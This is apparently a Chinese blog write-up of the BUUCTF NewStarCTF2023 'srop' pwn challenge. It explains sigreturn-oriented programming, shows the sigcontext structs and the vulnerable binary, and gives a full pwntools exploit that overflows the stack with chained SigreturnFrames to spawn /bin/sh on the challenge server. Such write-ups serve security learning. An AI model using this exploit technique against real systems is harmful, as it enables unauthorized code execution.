379 字
1 分钟
writeUp12.12
SROP
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。
步骤:
-
内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态
-
内核为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及signal信息和指向的sigreturn地址(所以进行SROP利用,需要较大的的溢出空间),注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的signal handler中处理相应的signal。因此,当signal handler 执行完之后,就会执行sigreturn 代码
这是不同架构下的sigcontext
- x86
struct sigcontext{ unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2;};- x64
struct _fpstate{ /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24];};
struct sigcontext{ __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8];};例题 BUUCTF-NewStarCTF2023srop
将题目给的二进制文件拖入ida,找到如下重要函数
int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE v4[48]; // [rsp+0h] [rbp-30h] BYREF
syscall(1, 1, buf, 48); // "welcome to srop!\n" return syscall(0, 0, v4, 768); // STACK overflow #A}__int64 sys(){ return 15;}.text:0000000000401136 sys proc near.text:0000000000401136 ; __unwind {.text:0000000000401136 endbr64.text:000000000040113A push rbp.text:000000000040113B mov rbp, rsp.text:000000000040113E mov eax, 0Fh.text:0000000000401143 pop rbp.text:0000000000401144 retn.text:0000000000401144 ; } // starts at 401136题目提供了 rax syscall等gadget,以及足够字节的栈溢出漏洞。所以我们可以通过 srop 进行系统调用
于是得到解题脚本
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")# p = process("./pwn_1")p = remote("node5.buuoj.cn", 27194)p.recvuntil(b"welcome to srop!\n")
rax = 0x40113erdi = 0x401203syscall = 0x401040bss = 0x404050
sig = SigreturnFrame()sig.rdi = 0sig.rsi = 0sig.rdx = bsssig.rcx = 0x400sig.rsp = bss + 8sig.rip = syscall
# readpayload = flat([ b"a" * 56,
p64(rdi), p64(0xf), p64(syscall),]) + bytes(sig)
p.sendline(payload)
# systemsig = SigreturnFrame()sig.rdi = 0x3bsig.rsi = bsssig.rdx = 0sig.rcx = 0sig.rsp = bsssig.rip = syscall
payload = flat([ b"/bin/sh\x00", p64(rdi), p64(0xf), p64(syscall),]) + bytes(sig)
p.sendline(payload)
p.interactive()IMPORTANT总结:
遇到题目如果需要使用srop绕过至少需要一下几个条件:
- 足够的栈溢出空间(在x64下150字节左右)
- 控制rax寄存器,syscall的gadget
- 没有使用沙箱禁用对应的系统调用
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐










